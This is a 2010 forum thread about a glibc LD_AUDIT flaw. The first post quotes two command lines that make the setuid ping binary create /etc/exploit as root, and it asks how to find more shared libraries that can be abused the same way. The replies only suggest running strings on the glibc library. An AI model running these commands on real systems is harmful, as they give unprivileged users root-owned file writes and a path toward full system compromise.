Finding DSOs that can create files


 
Thread Tools Search this Thread
Special Forums Cybersecurity Finding DSOs that can create files
# 1  
Old 10-25-2010
Finding DSOs that can create files

Hey,

As you might have noticed there is a new bug in glibc. It can be viewed here:
seclists[dot]org/fulldisclosure/2010/Oct/344

Basically, there are mentioned 2 DSO's that can create other files which is pretty unsecure.
Those are:
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/exploit" ping
LD_AUDIT="liblftp-tasks.so.0" LFTP_HOME=/etc/exploit ping

The file /etc/exploit will be created if you execute this. Anyhow, I'm wondering do you know more DSO's that can create files like that or how could I find more such files?

Thanks
Regards Image
# 2  
Old 10-25-2010
Run:
Code:
strings /lib/glibc.so | sort -u | pg


Last edited by DGPickett; 10-25-2010 at 05:44 PM..
# 3  
Old 10-28-2010
Nope, pg command not found on my CentOS
# 4  
Old 10-28-2010
Well, then:
Code:
 . . . | more

or
Code:
 . . . | less

Login or Register to Ask a Question

Previous Thread | Next Thread

9 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

How to create or convert to pdf files from csv files using shell script?

Hi, Can anyone help me how to convert a .csv file to a .pdf file using shell script Thanks (2 Replies)
Discussion started by: ssk250
2 Replies

2. Shell Programming and Scripting

Create multiple zip files each containing 50 xml files.

Hi, Is there a direct command or need to write a shell script for following requirement? Everyday a folder is populated with approx 25k to 30k xml files. I need to create multiple zip files in the same folder each containing 50 xml files. The last zip file may or may not contain 50 xml files.... (6 Replies)
Discussion started by: Rakesh Thobula
6 Replies

3. Shell Programming and Scripting

How to create zip/gz/tar files for if the files are older than particular days in UNIX or Linux?

I need a script file for backup (zip or tar or gz) of old log files in our unix server (causing the space problem). Could you please help me to create the zip or gz files for each log files in current directory and sub-directories also? I found one command which is to create gz file for the... (4 Replies)
Discussion started by: Mallikgm
4 Replies

4. Shell Programming and Scripting

Finding files with wc -l results = 1 then moving the files to another folder

Hi guys can you please help me with a script to find files with one row/1 line of content then move the file to another directory my script below runs but nothing happens to the files....Alternatively Ca I get a script to find the *.csv files with "wc -1" results = 1 then create a list of those... (5 Replies)
Discussion started by: Dj Moi
5 Replies

5. Shell Programming and Scripting

Finding Files By Name

Finding Files - I am learning more about scripting each day but I am having a hard time figuring out how to write a script to pick particular files from a list ls command. Basically I have several hundred files with the file name being: AAB110321015704.raw or BBA110321015704.raw WHERE the... (6 Replies)
Discussion started by: rdburg
6 Replies

6. UNIX for Dummies Questions & Answers

Create individual tgz files from a set of files

Hello I have a ton of files in a directory of the format app.log.2008-04-04 I'd like to run a command that would archive each of these files as app.log.2008-04-04.tgz I tried a few combinations of find with xargs etc but no luck. Thanks Amit (4 Replies)
Discussion started by: amitg
4 Replies

7. Shell Programming and Scripting

Help with finding files

Ok, here it is: I have a system that logs certain files every day. Every time a new day dawns, the system will create a folder with the name that is respective to the day's date (12-06-07) and start putting new files in that folder. I have another system that needs these files. I am going to:... (1 Reply)
Discussion started by: bbbngowc
1 Replies

8. Shell Programming and Scripting

finding duplicate files by size and finding pattern matching and its count

Hi, I have a challenging task,in which i have to find the duplicate files by its name and size,then i need to take anyone of the file.Then i need to open the file and find for more than one pattern and count of that pattern. Note:These are the samples of two files,but i can have more... (2 Replies)
Discussion started by: jerome Sukumar
2 Replies

9. UNIX for Dummies Questions & Answers

finding files

I need to write a script that will find all of the files in my current directory that contain a html extension that contains a URL with my user ID as a command line argument and have yhe script display the names of the files selected along with a count of the files found. I'm totally lost ???? Any... (4 Replies)
Discussion started by: jseiple
4 Replies
Login or Register to Ask a Question